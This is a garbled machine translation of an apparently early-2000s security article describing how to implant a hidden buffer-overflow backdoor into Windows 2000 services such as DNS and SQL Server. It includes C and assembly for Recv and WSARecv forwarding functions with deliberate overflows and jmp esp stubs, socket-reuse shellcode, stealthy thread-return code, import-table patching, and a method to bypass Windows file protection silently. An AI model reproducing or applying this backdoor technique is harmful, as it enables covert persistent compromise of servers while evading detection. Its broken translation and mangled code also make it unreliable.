--- Prototype implementation of overflow implanted Trojan Horse (backdoor) Author: flashsky (original)

Author: flashsky (original)
Author Email: flashsky@xfocus.org
Site: www.xfocus.net

Statement:
The author has no intention of implementing a trojan. The author is not a Trojan developer, but provides a method of combining buffer overflow attacks with Trojans/backdoors,
A simple prototype is used to verify the feasibility of this approach, and we can see many features and advantages of this implementation method. Security researchers are also invited to discuss this trojan development technology.
Give high attention and propose methods for killing and avoiding them. The author provides technical implementation documents and demonstrations of key code segments to verify their implementation, but does not provide source code and binary programs, any
People can use this article to conduct their own technical research and code implementation, but they are liable for the illegal behavior of their own development programs.

I. Basic Ideas on overflow of implanted Trojans (Backdoors)
1. How can Trojan Horse (backdoor) be effectively concealed?
Trojans and backdoors are an application server that runs on the server to communicate with specific workers and execute service requests. Concealment is a very important method. Currently, it mainly involves
The hidden problems are:
? The application/code itself is concealed to prevent detection by the killing tool afterwards. Avoid file integrity check.
? Concealment of application process execution, such as concealment of Trojan process
? Concealment related to Automatic startup code: for example, You need to modify the Registry in w2k to enable it when the system starts automatically, or add it to the service or driver.
? Concealment of communications: How to conceal ports without detection and how to bypass firewalls

The current trend of Trojan/backdoor development is to write to the driver and kernel level. By intercepting the services called by the system, you can achieve the above concealed purposes, such as rootkit. However, such Trojans
/Backdoors also have some problems:
? A large amount of code is executed on the client. The more things you do, the more clues you need. It is actively executed and executed at any time.
Not only when attackers communicate with them.
? Performance is affected: Because the kernel and driver are written, the impact is relatively large.
? Skills and skills required for writing.

2. The idea of overflow of implanted Trojan Horse (backdoor)
To address the above problems, we will come up with the idea of hiding our own Trojan/backdoor in this way.
? Passive working Trojan, it is best to create a general vulnerability that can be remotely exploited to achieve control, so that only when communicating with attackers will there be
There are some signs, and the code stored on the server is minimal, so it doesn't matter whether the server is killed afterwards, and the impact on the system is very small.
? The Execution Code of a specific program depends on the data transmitted by the client, and the code only exists in the memory.
? The mechanism of specific code execution should be based on the normal mechanism of the system to load and execute

3. Advantages of an implanted Trojan (backdoor) Overflow
From the above analysis, we will think about how to implant a vulnerability Trojan. Why do we choose to implant an overflow vulnerability? The reason is:
? Overflow Vulnerabilities have the universal advantage of operating systems: in many CPU platforms and operating system platforms, overflow is a common vulnerability, and its principles are the same,
Such a Trojan can be easily transplanted.
? The overflow vulnerability itself is difficult to be checked and has good privacy
? Overflow itself can be used for remote control. Many other vulnerabilities need to be controlled in other ways after being authorized by the vulnerability.
? Overflow is controlled by sending and executing commands in the form of code on the client. The executable code data can be modified as needed, and it is flexible.
The attack code is not stored in the server-side program, but only exists in the memory stack during execution, which is difficult to find.
? Overflow Code Execution is performed within a normal service, which can easily hide the process and inject it into a normal application. No other operations are required for startup and control.
Modify the registry. In addition, it is easy to use its own ports and sockets to achieve port multiplexing and socket multiplexing for communication, so as to hide and bypass the firewall.
? Overflow has little impact on program performance. It is completely passive.
? Creating an overflow vulnerability is simple and easy to implement. Even a very secure application can easily create an overflow bug, such as a package of code calls:
Recv (sock, Buf, xxxx, flag). You only need to adjust the value of XXX to cause an overflow vulnerability.

II. General Overflow Vulnerability Implantation
1. Four problems to be solved by General Overflow Vulnerabilities
However, if an overflow vulnerability is implanted into an application in the form of a Trojan or webshell, it can be widely used. Therefore, the overflow must be generalized, mainly involving the following issues:
Considerations:
? Overflow location
Because the overflow Buf length, location, and retaddr offset relationship are not fixed for each application, if you need to manually adjust this overflow point for each application, the customer
Therefore, you need to implant a fixed Overflow Vulnerability.
? Jmp esp Code provision and positioning
Overflow Code uses retaddr to grasp the initiative, but because shellcode is dynamically allocated in the memory stack, it cannot obtain its address accurately, so we need to take advantage of the JMP ESP
Some applications may have such statements. Some applications may not have such statements, and the addresses are not the same.
It also changes. Therefore, a fixed jmp esp Code address must be provided to Overflow Shellcode For generalization.
? Access violation for variable reference after overflow Overwrite
After an overflow occurs, other variables may exist between the overflow Buf and retaddr. Before the overflow retaddr returns, the code is executed in the upper part of the application.
These variables are likely to be referenced, and these variables may have been modified by our overwrite code, leading to access violations, resulting in program termination, recording, or exception handling code.
We cannot execute our overflow code and expose our whereabouts.
? Execute the code to modify the overflow area after Overwriting
After an overflow occurs, other variables may exist between the overflow Buf and retaddr. Before the overflow retaddr returns, the code is executed in the upper part of the application.
It is very likely that we will modify the shellcode content that has been overwritten by overflow, so that the shellcode we want to execute cannot be correctly executed after overflow. In general, it will cause exceptions.
Unexpected termination and recording of processes to expose our whereabouts.

2. How to implant General Overflow Vulnerabilities
So how can we effectively solve the above problems and implement a general exploit of the overflow vulnerability? Let's start our thinking:
A) idea 1: Modify the extended stack (effective for fixed EBP/ESP references)
In the fun execution space of a function call fun
Assume that the stack space of an application is as follows:
ESP ---------- variables 1 to 10 occupy 40 bytes of space
The buf1 that can be exceeded occupies 400 bytes.
Other variables 11 to 20 occupy 40 bytes of space
EBP ---------- retaddr
Input Function Parameters 1 to 4 occupy space 16

When you enter func for execution, the compiled statement is as follows:
Push EBP
MoV EBP, ESP (the ESP points to the retaddr address at this time)
Sub ESP, 480 (480 is the total space occupied by the variable)
....... (Code Execution zone)
Add ESP, 480
Push EBP

The statement for modifying the assembly code above is:
Push EBP
MoV EBP, ESP
Sub ESP, 1480
.......
Add ESP, 1480
Push EBP

The corresponding stack space is
ESP ---------- variables 1 to 10 occupy 40 bytes of space
The buf1 that can be exceeded occupies 400 bytes.
Other variables 11 to 20 occupy 40 bytes of space
1000 more bytes of space
EBP ---------- retaddr
Input Function Parameters 1 to 4 occupy space 16

If EBP + XXX is used for parameter reference and ESP + XXX is used for variable reference, we will find that the parameter has no impact on the application, the program can still be executed well, because
The position of EBP is not changed because the parameters and variables are relative to ESP. However, we will find the following interesting points:
1. You only need to modify the sub, ESP, XXX, add ESP, xxx places, all appear in the beginning and end of the function, without affecting the program size, easy to find.
2. If we can automatically calculate and adjust the xxx value based on the known XXX size and Buf location, we can locate the problem by overflow. In the above example, we need
When the overflow point is located at 1000, we change sub ESP, 480 to sub ESP, and 1040 can achieve the positioning point of 1000. (The extra 40 is the variable on the Buf, which is the same as the Buf bit.
);
3. If the added space is large enough, we can put shellcode in the extra space to effectively prevent the modification caused by subsequent program execution of shellcode.
4. If the added space is large enough, we can put the shellcode in the extra space. Therefore, the shellcode is not stored due to the overflow location.
Therefore, the data addresses of variables 10 to 20 can be modified as efficiently as possible to reduce access violation problems caused by reference of possible subsequent code execution.
But at least it provides a great deal of potential.

This is a good idea, but the reality is cruel, because we found that one of the original assumptions is not true under different compiler options.
The reference to variables is ESP + XXX, and the reference to input parameters is EBP + XXX. The compilation code generated in different situations is complex, both variables and input parameters may be referenced in ESP +
The xxx method may also reference variables and input parameters in the EBP +-xxx method. We have to use this idea to continue to think about new solutions.

B) idea 2: insert the forwarding function of a specific function
The new idea is to implant a forwarding function for a function that can overflow. That is to say, there is
Modify the call of Recv (sock, Buf, XXX, flag) to recvadd (sock, Buf, XXX, flag). We attach a recvadd function to the application, this function is just a simple
Recvadd (sock, buf1, XXX, flag) is only used for forwarding. However, the allocated memory space is inconsistent with the given XXX and there is an overflow vulnerability, then, the forwarded Recv will be performed.
Overflow control can be implemented.

3. Implementation of general extension overflow vulnerabilities of implants
A) function forwarding process and advantages
Process:
I. Open up a new buf1 with a fixed length, which can provide a fixed overflow point.
Ii. Call Recv (sock, buf1, XXX, flag) to collect packets
Iii. Copy buf1 content back to Buf, so that normal applications are not affected.
Advantages:
It can solve four general overflow vulnerabilities in one fell swoop.
Iv. Because the function is run in the recvadd function, the allocation of buf1 can be based on the specified overflow point. And ensure sufficient overflow space, so that the shellcode is stored in the buf1 memory.
Without affecting the variables behind EBP
The deformation code of jmp esp can be placed in V. recvadd to solve the problem of jmp esp locating.
Vi. recvadd only provides buf1, and then copies it back to Buf after receiving it. This will not involve issues 3 and 4.
VII. It will not affect the normal application of the program, and the additional functions are relatively simple and easy to implement. The code size is very small, less than 1 or 2 hundred bytes, And the PE file lattice such as w2k
The following section is aligned with 0 x H, so there is enough space to add to the normal section of the PE file without affecting its size. Other parameters change.
B) create common forwarding function Vulnerabilities
The following is the initial C code of the function for forwarding Recv.
DWORD winapi recvadd (socket S, char far * Buf, int Len, int flags)
{
Int num;
Char buf1 [0x1190];
If (LEN> 0x1000)
Num = Recv (S, Buf, Len, flags); // The General overflow is not allowed because normal applications are not affected.
Else
{
Num = Recv (S, buf1, 0x11a9, flags); // extend it to the overflow point specified by the standard.
If (Num> 0) // determines whether the packet is received
{
If (Num <= Len) // checks whether the memory overflows. If not, the memory is copied.
Memcpy (BUF, buf1, num );
Else // provides the jmp esp address, which is automatically calculated and replaced at the time of implantation: 1010101 H
{
Num =-1;
_ ASM {
Moveax, 1010101 H
MoV [esp + 11a4h], eax;
}
}
}

}
Return num;
}

C) generic use
I. Detect overflow and return addresses
It is easy to judge overflow. You only need to use the Recv to return the received byte number and compare it with the given Len. Of course, you can also use the overflow address encoding to check whether it is your own specific
Overflow.
In addition, after sufficient buf1 is extended, shellcode can be placed in buf1 without overwriting the content under EBP. This provides conditions for effective thread-safe return.
Because the processing of this overflow thread is very troublesome after a shellcode task is completed. If it is interrupted, exceptions may occur for some applications, such as DNS server.
Work, and some of them will be interrupted and recorded. the most ideal way is to save the environment completely and return to the original point where it should be returned for further execution.
Ii. jmp esp code
We provide the following machine code for compilation code at the end of the appended function:
Sub ESP, xxxx
JMP ESP
(Of course, to conceal, you can generate deformation code for other equivalent functions, such
MoV eax, ESP,
JMP eax)
Then, the append Code address is automatically calculated during the implantation, replacing the recvadd program code, and replacing the address with a valid response when the execution detects overflow.
Address.

Iii. Protection of other environment variables to be used
Taking into account the following factors, the substitution function provides protection for the following variables
? Socket to facilitate socket Reuse
? Retaddr: After shellcode is completed, the thread returns a safe response.
? The size of parameters passed in by this function call to implement safe return for ESP/EBP calculation in shellcode
? Saves the memory to be stored in vitro before execution to achieve safe return.

The following is an assembly code that considers the above situation to forward the Recv function.
DWORD winapi recvadd (socket S, char far * Buf, int Len, int flags)
{
_ ASM {
MoV eax, [esp + 0ch] // check whether Len is an application larger than H,
CMP eax, 1000 h // for such an application, we will handle the overflow by H.
Jgrecv // The application may be damaged.
Sub ESP, 119ch // extend the stack to a fixed overflow point
Moveax, [esp + 11a0h] // Save the use of SC standby shellcode
MoV [esp], eax
Moveax, [esp + 119ch] // Save the return address for Shellcode Execution
MoV [esp + 4], eax // return later
Movdword PTR [esp + 8], 10 h // Save the size of the stack occupied by the pressed Parameter
Push ESI // protect the peripheral memory
Push EDI
Push ECx
Push edX
MoV eax, [esp + 11bch]
Push eax
MoV ESI, [esp + 11bch]
Push 11a9h // Replace the value with an overflow Value
Lea ECx, [esp + 24 h]
Pushecx
Moveax, [esp + 11bch]
Pusheax
Call Recv // Recv forwarding
Test eax, eax
Jle loc_2
CMP eax, ESI // determine whether the packet is received
Jle loc_1
Movedx, [esp + 11ach]
Xoreax, eax
Dec eax
Cmpedx, 0x90909090 // compare the specified overflow address value
Jneloc_2
Moveax, 1010101 H // jmp esp address
MoV [esp + 11ach], eax;
Jmploc_2
Loc_1: // copy buf1 content back to Buf
MoV ECx, eax
MoV EDI, [esp + 11b4h]
MoV edX, ECx
Lea ESI, [esp + 1ch]
SHR ECx, 2
Repemovsd
MoV ECx, EDX
And ECx, 3
Repe movsb
Loc_2:
Popedx // the pop-up peripheral memory for protection
Pop ECx
Pop EDI
Pop ESI
Add ESP, 119ch
Retn 10 h // If overflow occurs, it will be executed on the specified program point
}
}
Jmpcode:
_ ASM {
Sub esp.0x1400
JMP ESP
}
4. Implementation of Trojan horse (backdoor) in w2k
We already have a complete forwarding function to implant a general overflow vulnerability. How can we implant this backdoor and Trojan? Next we will consider this issue.
:
A) The entire embedded code structure is as follows:
[Recvadd address]:
Store the real address of the recvadd function. In this way, replace the [Recv] address value of the JMP [Recv] with this address value to achieve the actual effect of JMP [Recv ].
[Recvadd function]: real code execution Zone
[Recv jump function]: saves the addresses of the true Recv jump addresses JMP [Recv] and call [Recv], so that the program can forward real calls.
[Jmp esp Code]: stores the jmp esp Execution Code for overflow execution.

B) PE file node analysis and code appending
? Analyze whether there is enough space for the node contact to place the embedded code.
? Find the corresponding function to be replaced in the header of the import code section and Execution Code section (in this example, the address of the Recv function)
1. Get the Recv address through getprocaddress, and find the import address of the corresponding address in the import code section of the process space
? Locate the JMP [Recv] Or call [Recv] address in the code area and record it.
? Stop services to write and open files
? Replace JMP [Recv] Or call [Recv] With JMP [recvadd] Or call [recvadd]
? Add your own code
C) Automatic calculation and replacement of additional code
There are the following items involved in Automatic calculation:
Position of the recvadd function itself
Calculation and replacement of the true position of the Recv Function
Location Calculation and replacement of jmp esp code
D) Call Function Analysis and replace the imported table
There are two call forms, and the program needs to analyze and process them separately
I. Replacement of JMP [fun]
When a process calls fun, it is the address of call [fun] and [fun] As JMP [fun, in [fun], the address of the corresponding function in the real fun import table is
You only need to replace JMP [fun] to replace all calls of the application.
Ii. Replacement of call [fun]
When a process calls fun, it is call [fun], and [fun] is the address of the corresponding function in the fun import table.
All calls [fun] must be replaced to replace all calls of the application.

Iii. Common Remote Overflow Shellcode
1. function locating and Processing
First, get the address of getprocaddress by searching the memory to load the required API. This is a common technique.

2. General socket multiplexing
The socket reuse discussed here is in the w2k environment, for blocking Socket scenarios.
A) Significance of socket multiplexing
I. The server does not need to open the port, so the Port Check is skipped.
Ii. Use the port of the Service to communicate and passively use the socket of the client directly, which can effectively bypass the firewall.
B) Basic Ideas
I. Obtain valid socket Descriptor
You can use a socket to increase from a specific value, and then use getpeername to determine whether it is a socket and whether it is a socket with its own IP address.
Ii. process for determining the associated socket Descriptor
The problem with obtaining the socket descriptor is that the overflow is controlled only when the code is executed and returned. At this time, the socket may have been properly closed. So you may need
We connect two servers, one with an overflow packet, and the other with a Recv stopped status. If the first socket is closed, we can determine whether the second socket is used for reuse.
Shellcode is required to make the following judgment:
1. It is possible that the first thread is not closed, so you need to effectively determine the second one. You only need to check whether the thread ID matches the current one.
2. Before using the second socket, the thread for processing the socket must be suspended first. Otherwise, the socket cannot be used normally.
In the case of blocking, The Recv code will stay on the ntwaitforsingleobject code, so we can get a rough idea by judging the EIP address of the thread environment context.
The corresponding thread, but other threads may be in the same position. Then we can search for the corresponding socket descriptor for the stack space of the valid thread.
Yes.
The following is the basic C code:
Cid = getcurrentthreadidadd ();
PID = getcurrentprocessidadd ();
For (hid = 0x50; hid <0x10000; hid = hid + 4) // socket descriptor starts from 0x50
{
Num = sizeof (ADDR );
If (getpeername (socket) hid, & ADDR, & num) = 0)
{
If (* (DWORD *) (ADDR. sa_data + 2) = 0x3c00a8c0) // corresponding IP Address
{
// Send byte to check whether the socket has been closed
Lbytesread = Send (socket) hid, strcmd, 4,0); If (lbytesread> 0)
{
For (Aid = 0; aid <0x10000; aid = aid + 4)
{
If (CID! = Aid)
{
Openthreadadd (thread_all_access, false, aid );
If (P1! = NULL)
{
Isok = ntqueryinformationthreadadd (P1, 0, prothrinfo, 0x1c, & num );
If (isok = 0)
{
If (* (DWORD *) (prothrinfo + 0x8) = PID)
{
Suspendthreadadd (P1 );
Context. contextflags = context_full;
Getthreadcontextadd (P1, & context );
If (context. EIP = (DWORD) ntwaitforsingleobjectadd + 11 ))
{
EIP = context. ESP;
For (DI = 0x80; Di <0x170; DI = di + 4)
{
If (* (DWORD *) (EIP + DI) = (socket) hid)
{
// The following can be processed normally.
}
// If not, the thread execution and loop will be restored.
C) but the above method of judging the thread is only valid for the blocking socket, but cannot be determined for the non-blocking socket, but for the overflow of the function replacement method implanted
Fortunately, this socket will not be closed when the overflow control is enabled. Therefore, we can use only the getpeername function of the general socket to determine
The socket descriptor is broken. Of course, the code in my example uses the method of saving the environment variable by the implant program to reuse this socket.

3. normal reference of Environment Variables
In fact, we put all three stored environment variables before the overflow buf1. This address is not fixed after the sub ESP, XXX, and jmp esp executed by the jump, and may be subject
The overflow function changes when returning the previous XXX retn XXX. Therefore, we need to use a fixed ESP + XXX to reference these stored environment variables. We need to change the corresponding sub ESP, xxx
The xxx size of JMP esp. Fortunately, for each fixed replacement API, this is fixed, so we can completely write a fixed XXX for each replaced function, because
The content of different replacement functions will also change.
Our overflow seeding only applies to the function call level, that is, no matter the application a and B run on different versions of the system, as long as the corresponding function C is called, for the c Functions of A and B
Overflow implants are common.

4. Thinking about processing after the thread is finished
A) delete or terminate a thread
This is simple, but it may cause exceptions and records.
B) Save the thread environment and return the original call point
Save and compute the following content:
Saves the contents of the memory before the Overflow Shellcode Execution
Save the address value to be returned
Calculate the restored ESP/EBP and put the corresponding address value.
The biggest consideration is: after the deposit generator is restored, you also need to use the memory generator to read the returned address value and put it into the ESP before the return and the size of the function parameters provided by the READ function before the overflow so that the calculation is positive.
Therefore, it requires some skills to protect the memory generator.
C) code returned by thread security
Subesp, 0x13fc // first open up a space to protect several special memory devices
Pushebp
Pushecx // save eax. ECx here because it is used twice
Push eax
Sub ESP, xxx // The stack space opened up here is the space where the variables used by the real shellcode are stored.
Push EBX to save other memory devices
Push ECx
Push edX
Push ESI
Push EDI
................ Shellcode Function Code
After the execution is completed, the county seat will be returned safely:
Terminateprocess (processinformation. hprocess, 0); // kill the opened cmd Process
_ ASM {
MoV eax, K // K is the parameter length passed in by the overflow Function
MoV EBX, retaddr // return address
MoV ECx, 28fch // ESP reply to the opening place
Add ECx, eax // ESP address considering the parameter length passed in by the overflow Function
Sub ECx, 4 // return to ESP where RET should be placed
MoV [esp + ECx], EBX // stores the real return address
Pop EDI // restore a general memory
Pop ESI
Pop edX
Pop ECx
Pop EBX
Pop EDI
Pop ESI
Pop EBX
Add ESP, 4e4h // ESP reduces the stack space used by shellcode
MoV [esp + 23f8h], eax // write the value of K. After the deposit collector is restored, you do not need to use other memory collectors.
Pop EBP // pop up several special deposit devices for protection
Pop eax
Pop ECx
Add ESP, 23ech // to the stack where K is stored. In this way, [esp] can be used to reference this value without the need to use other deposit collectors, resulting in restored Product
The memory is damaged again.
Add ESP, [esp] // use [esp] to reference K to implement ESP + k to calculate the true ESP Value
Subesp, 4 // 4 bytes in advance, that is, the retaddr location. Use ret to return
RET
}

5. Demonstrate remote scoket reuse shellcode overflow Test Service

4. Analysis
1. Review Win2k's system file integrity protection mechanism (SFP)
Our main objective of webshells and Trojans is to modify and run privileged services and system files. However, we all know that, after Win2k, SFP is added to Windows to protect system files.
Integrity. So we can achieve our goal only by effectively modifying the system-protected files we need to implant.
There are many ways to delete and update protected files on the Internet, but the basic idea is to delete/winnt/system32/dllcache/AND/winnt/servicepackfiles/i386/
But this will cause the system to jump out of a warning box that cannot normally restore the protected file, which will expose our whereabouts.
In fact, the method of modifying files protected by SFP does not cause this warning box is very simple, that is, the two backup files are opened exclusively at the same time, and then the files protected by the system are modified.
After that, close the files that exclusively open the two backups for a while, so that the files can be modified normally without any prompt.
Of course, there are many other methods to achieve this purpose, such as modifying the verification mark of the corresponding file, but this method is the simplest and most effective.
A) demonstrate how to delete and change Win2k's protected system files
2. Universal Testing
The above is the prototype of the implementation of a base overflow implant Trojan, so we finally use the actual test to verify whether our prototype is universal and meets our expectations. We
We will conduct two experiments on implant overflow of practical applications and services and use generic overflow to achieve our remote control.
A) Demonstrate Remote Overflow Vulnerability and control of DNS server inserting Recv forwarding
Restrictions:
Use shellcode and client with the same overflow Test Service as implanted
Use the same trojan execution program and Recv forwarding function as the test service.
The only difference is the parameter of the given Trojan execution Program (mainly specifying the program to be implanted with Overflow Information)
1. demonstrate that a large package failed to be sent before implantation
2. demonstrate that the program has reached our forwarding program after the package is sent.
3. the demo does not affect normal applications.
4. Demonstrate the control and normal return after overflow. The Service continues to be available and can continue to be exploited through overflow.

B) implementation and demonstration of forwarding overflow of the wsarecv Function
So we are familiar with Recv forwarding overflow, but does this limit our applications? Because most applications are implemented using the wsarecv function, we have a conclusion first.
Yes:
Our overflow seeding only applies to the function call level, that is, no matter the application a and B run on different versions of the system, as long as the corresponding function C is called, for the c Functions of A and B
Overflow implants are common. For different functions, as long as this function is like fun (BUF, Len) and Len is a function with a specified Buf length, the overflow vulnerability can be implanted.
So let's implement the overflow implantation and control of wsarecv. The example is the SQL server socket that everyone is familiar.
I. general replacement functions of wsarecv
Int winapi wsarecvadd (socket S, lpwsabuf Buf, DWORD Len, lpdword num, lpdword flags, lpwsaoverlapped lpoverlapped,
Lpwsaoverlapped_completion_routine lpcompletionroutine)
{
_ ASM {
MoV eax, [esp + 08 h]
MoV eax, [eax]
CMP eax, 1000 h
Jgwsarecv // determine whether overflow is allowed within the spatial range
Sub ESP, 119ch // extended Stack
Moveax, [esp + 11a0h] // protect environment variables
MoV [esp], eax
Moveax, [esp + 119ch]
MoV [esp + 4], eax
Movdword PTR [esp + 8], 1ch
Push EBX // protect the deposit collector
Push ESI
Push EDI
MoV EBX, [esp + 11b0h] // retain the length and address parameters in wsabuf
Movesi, [EBX + 4]
Moveax, [EBX]
Addesi, eax
Lea EDI, [esp + 18 h] // Save the content of the wsabuf Buf to buf1, so that it cannot be restored after being overwritten by Overflow
Addedi, eax
Movecx, 1194 H
Subecx, eax
Moveax, ECx
SHR ECx, 2
Repe movsd
MoV ECx, eax
And ECx, 3
Repe movsb
Movesi, [EBX + 4]
Movedi, [EBX]
Movdword PTR [EBX], 1194 H // extend the wsabuf length to make it Overflow
MoV eax, [esp + 11c4h]
Pusheax
MoV eax, [esp + 11c4h]
Pusheax
MoV eax, [esp + 11c4h]
Pusheax
MoV eax, [esp + 11c4h]
Pusheax
MoV eax, [esp + 11c4h]
Push eax
Pushebx
Moveax, [esp + 11c4h]
Pusheax
Call wsarecv // forward to wsarecv
Pushecx // Save the three pods that make sense returned by wsarecv
Pusheax
Pushedx
Movedx, [ESI + 1190 H] // obtain the wsabuf Buf. If the returned address value for this write overflow occurs
Movecx, [esp + 11b4h] // obtain the content that needs to be restored if overflow occurs.
MoV [ESI + 1190 H], ECx // restore to Buf
Movecx, [esp + 1ch] // read the reserved return address
MoV [esp + 11b4h], ECx // restores to the return address corresponding to ESP to avoid overflow overwrite, because this address is already
Overwritten
MoV [EBX], EDI // write the normal Len value of wsabuf
Test eax, eax // check whether the packet is received
JNE loc_4
Movebx, [esp + 11c4h] // obtain the size of the received package
Movecx, [EBX]
CMP ECx, EDI // check for Overflow
Jle loc_4
Cmpedx, 0x90909090 // check whether the returned address from overflow is consistent with the one we set.
Jneloc_4
Xorebx, EBX
Movecx, EDI
Lea EDI, [esp + 24 h] // copy shellcode to our buf1, and restore the value overwritten by other variables in wsabuf to avoid future shellcode
An exception is returned.
Loc_1:
Cmpebx, 1190 H
Jgeloc_3
Cmpebx, ECx
Jgeloc_2
Moveax, [ESI + EBX]
MoV [EDI + EBX], eax
Addebx, 4
Jmploc_1
Loc_2:
Movedx, [EDI + EBX]
Moveax, [ESI + EBX]
MoV [EDI + EBX], eax
MoV [ESI + EBX], EBX
Addebx, 4
Jmploc_1
Loc_3:
Movebx, 1010101 H // address for writing jmp esp, which will be replaced correctly by computation at 10101h
MoV [esp + 11b4h], EBX;
Loc_4:
Popedx
Popeax
Popecx
Pop EDI
Pop ESI
Popebx
Addesp, 119ch
Retn 1ch
}
}
Ii. Memory Replacement of socket with heavy asynchronous Io
This alternative function is more complex than the Recv function, because this socket is a socket with heavy load asynchronous Io, and its memory cannot be replaced during Recv; otherwise, this overload
The asynchronous Io socket will become a non-heavy asynchronous Io socket, which will affect normal applications. At the same time, it is also important to protect the memory devices modified after wsarecv is executed.
The referenced address varies with the returned values. Therefore, the original Buf is used, but the expanded Len causes overflow. For normal return, the content that may be overwritten by overflow.
Copy to buf1. If overflow occurs, copy the overflow content to buf1, and copy the buf1 storage memory to the overflows Buf to ensure the normal operation of the program.
Iii. Demonstrate the remote overflow vulnerability and control of wsarecv forwarding embedded in SQL Server
Restrictions:
Use shellcode and client with the same overflow Test Service as implanted
Only the forwarding function body of wsarecv is modified by using the same trojan execution program as the test service.
Parameters of the given Trojan execution Program (mainly specifying the program that needs to be implanted and other information)
1. demonstrate that a large package failed to be sent before implantation
2. demonstrate that the program has reached our forwarding program after the package is sent.
3. the demo does not affect normal applications.
5. Demonstrate the control and normal return after overflow. The Service continues to be available and can continue to be exploited through overflow.

C) only modify the memory image to avoid file integrity check
The final discussion is, similarly, this principle can only be used to modify the memory image only to achieve the purpose of overflow seeding, so as to avoid file integrity check, but when the service restarts
In the future, this backdoor and Trojan will be unavailable.